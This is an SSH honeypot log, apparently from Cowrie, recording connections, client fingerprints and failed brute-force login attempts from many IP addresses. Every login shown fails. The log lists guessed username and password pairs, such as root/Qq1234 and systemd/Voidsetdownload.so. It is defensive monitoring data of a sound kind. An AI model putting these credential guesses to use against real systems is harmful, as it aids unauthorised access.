{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:18.484474Z","src_ip":"20.160.86.7","session":"fde8bb84978f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq1234","message":"login attempt [root/Qq1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:18.834965Z","src_ip":"20.160.86.7","session":"fde8bb84978f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:19.919757Z","src_ip":"20.160.86.7","session":"fde8bb84978f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":42658,"dst_ip":"10.17.0.5","dst_port":22,"session":"e04218b78df9","protocol":"ssh","message":"New connection: 45.144.233.56:42658 (10.17.0.5:22) [session: e04218b78df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:23.418352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:23.424938Z","src_ip":"45.144.233.56","session":"e04218b78df9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:23.518685Z","src_ip":"45.144.233.56","session":"e04218b78df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:23.925562Z","src_ip":"45.144.233.56","session":"e04218b78df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:25.021999Z","src_ip":"45.144.233.56","session":"e04218b78df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":53876,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e1644ed25f7","protocol":"ssh","message":"New connection: 38.93.206.2:53876 (10.17.0.5:22) [session: 6e1644ed25f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:25.382669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:25.394447Z","src_ip":"38.93.206.2","session":"6e1644ed25f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:25.435900Z","src_ip":"38.93.206.2","session":"6e1644ed25f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"110989","message":"login attempt [root/110989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:25.630340Z","src_ip":"38.93.206.2","session":"6e1644ed25f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:26.684645Z","src_ip":"38.93.206.2","session":"6e1644ed25f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.53.94.246","src_port":40054,"dst_ip":"159.203.135.109","dst_port":22,"session":"85dd4960b98a","protocol":"ssh","message":"New connection: 202.53.94.246:40054 (159.203.135.109:22) [session: 85dd4960b98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:27.385596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:27.390239Z","src_ip":"202.53.94.246","session":"85dd4960b98a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:27.610197Z","src_ip":"202.53.94.246","session":"85dd4960b98a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:28.502543Z","src_ip":"202.53.94.246","session":"85dd4960b98a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:29.721313Z","src_ip":"202.53.94.246","session":"85dd4960b98a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.76.170.111","src_port":39088,"dst_ip":"10.17.0.5","dst_port":22,"session":"35e7c53a817f","protocol":"ssh","message":"New connection: 180.76.170.111:39088 (10.17.0.5:22) [session: 35e7c53a817f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:39.560074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:39.565162Z","src_ip":"180.76.170.111","session":"35e7c53a817f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:39.816990Z","src_ip":"180.76.170.111","session":"35e7c53a817f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nick","password":"changeme","message":"login attempt [nick/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:41.620571Z","src_ip":"180.76.170.111","session":"35e7c53a817f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":50126,"dst_ip":"159.203.135.109","dst_port":22,"session":"875620946849","protocol":"ssh","message":"New connection: 37.233.85.71:50126 (159.203.135.109:22) [session: 875620946849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:44.711339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:44.716139Z","src_ip":"37.233.85.71","session":"875620946849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:44.819927Z","src_ip":"37.233.85.71","session":"875620946849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"giovanni","message":"login attempt [root/giovanni] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:45.147736Z","src_ip":"37.233.85.71","session":"875620946849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:46.254838Z","src_ip":"37.233.85.71","session":"875620946849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.223.60.209","src_port":35782,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1c0624b22f0","protocol":"ssh","message":"New connection: 190.223.60.209:35782 (10.17.0.5:22) [session: a1c0624b22f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:50.132896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:50.137300Z","src_ip":"190.223.60.209","session":"a1c0624b22f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:50.263305Z","src_ip":"190.223.60.209","session":"a1c0624b22f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"password","message":"login attempt [administrator/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:50.799942Z","src_ip":"190.223.60.209","session":"a1c0624b22f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:18:51.930056Z","src_ip":"190.223.60.209","session":"a1c0624b22f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.154.77.48","src_port":47660,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4eee4297449","protocol":"ssh","message":"New connection: 103.154.77.48:47660 (159.203.135.109:22) [session: b4eee4297449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:00.444471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:00.450691Z","src_ip":"103.154.77.48","session":"b4eee4297449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:00.688991Z","src_ip":"103.154.77.48","session":"b4eee4297449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:01.681754Z","src_ip":"103.154.77.48","session":"b4eee4297449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:02.921850Z","src_ip":"103.154.77.48","session":"b4eee4297449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":41892,"dst_ip":"159.203.135.109","dst_port":22,"session":"a75160096ea6","protocol":"ssh","message":"New connection: 102.210.148.92:41892 (159.203.135.109:22) [session: a75160096ea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:20.965764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:20.970568Z","src_ip":"102.210.148.92","session":"a75160096ea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:21.211039Z","src_ip":"102.210.148.92","session":"a75160096ea6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:22.202350Z","src_ip":"102.210.148.92","session":"a75160096ea6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:19:23.446044Z","src_ip":"102.210.148.92","session":"a75160096ea6","protocol":"ssh"}
